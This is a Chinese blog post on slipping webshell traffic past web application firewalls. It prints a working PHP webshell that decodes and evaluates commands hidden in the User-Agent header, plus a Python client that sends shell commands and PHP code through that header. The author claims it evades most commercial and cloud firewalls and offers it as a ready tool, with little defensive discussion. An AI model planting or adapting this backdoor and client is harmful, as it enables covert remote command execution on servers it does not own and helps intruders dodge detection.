绕过WAF检测WebShell通信

       最近换了工作,在新的环境里感觉棒棒哒~

       前一段在老公司要离职的时候事情比较少,就研究了下如何绕过市面上目前一些主流的WAF防护。针对WebShell的防护目前不管是硬件WAF还是云WAF都是基于特征通信进行防护,比如上传的时候或者返回的时候。根据我所了解的多家厂商主要还是基于GPC和Response进行防护,对于其他一些的敏感请求就有所忽略。基于这点写了一个简单的PHP WebShell和客户端,目前可以绕过市面上份额比较靠前的几家硬件WAF以及绝大多数云WAF(别听我瞎说)。原理比较简单一看就懂,主要还是针对通信做了点小手脚,属于比较low的奇技淫巧。东西比较糙后面会针对客户端进行功能拓展以及对WebShell进行加密混淆。

       先来看看WebShell的写法:

<?php
$cmd=base64_decode($_SERVER['HTTP_USER_AGENT']);
@eval("$cmd;");
?>
       然后是客户端:

#/usr/bin/env python
# coding=gbk

import sys
import httplib2
import base64

if len(sys.argv) <2 :
    print 'Usage:python client.py http://127.0.0.1/shell.php 1'
    print 'Help:'
    print '1 : 列出程序目录'
    print '2 : 执行命令'
    print '3 : 执行PHP代码'
    sys.exit()

def execcmd(name,command):
    shell = sys.argv[1]
    try:
        h = httplib2.Http()
        encodecmd = base64.b64encode(command)
        response,content = h.request(sys.argv[1],headers={'User-Agent':encodecmd})
        print '%s: %s' %(name,content)
    except:
        print '无法执行相关请求!'

def main():
    if '1' in sys.argv[2]:
        command = 'echo dirname(__FILE__)'
        execcmd('本程序目录',command)
    elif '2' in sys.argv[2]:
        print 'example: whoami'
        command = 'system(%s)' %(raw_input('请输入命令:'))
        execcmd('结果回显',command)
    elif '3' in sys.argv[2]:
        print 'example: echo 123'
        command = raw_input('请输入代码:')
        execcmd('结果回显',command)
    else:
        sys.exit()
        
        
        
if __name__ == '__main__':
    main()
       最后来张绕过某WAF的图:





  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值